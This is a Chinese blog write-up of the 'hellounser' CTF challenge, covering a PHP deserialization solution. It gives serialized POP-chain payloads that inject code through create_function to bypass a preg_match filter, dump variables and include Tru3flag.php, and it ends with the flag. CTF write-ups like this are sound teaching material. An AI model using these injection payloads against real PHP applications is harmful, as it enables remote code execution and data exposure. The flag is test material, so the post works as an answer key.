hellounser—web反序列化

3 篇文章 0 订阅
1 篇文章 0 订阅
"本文探讨了一段PHP代码,涉及反序列化和魔术函数的使用,通过精心构造payload,利用create_function绕过安全检查,最终在Tru3flag.php中找到flag:flag{cd71fedc-9069-4674-a89c-282e48e13bb5}
摘要由CSDN通过智能技术生成

hellounser
难度系数:3
题目描述:无
解题工具:火狐浏览器、php、sublime、在线base64加密(https://www.qqxiuzi.cn/bianma/base64.htm)
解题思路:打开场景,是一串php脚本代码,审计代码,涉及到反序列化知识和魔法函数,通过preg_match()函数过滤了参数,构造payload,具体如下步骤,导入到php中,构造pop链,
pop=O:1:“A”:1:{s:3:“var”;O:1:“B”:2:{s:4:“func”;s:15:“create_function”;s:3:“arg”;s:73:"}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";}},得到flag。
构造payload思路:触发A的__invoke(),通过echo $this->var,触发B类中__toString()函数,最后调用B中的show()方法,中间还有preg_match()函数要绕过。
注:pop=O:1:“A”:1:{s:3:“var”;O:1:“B”:2:{s:4:“func”;s:15:“create_function”;s:3:“arg”;s:32:"}var_dump(get_defined_vars());//";}}通过这个pop链发现flag不在flag.php中,但是在Tru3flag.php文件中,对Tru3flag.php进行base64加密。
参考文件:([BJDCTF2020]EzPHP)https://www.freesion.com/article/57661065075/(第五点比较关键)
https://www.sohu.com/a/299747481_99907709
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述flag{cd71fedc-9069-4674-a89c-282e48e13bb5}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值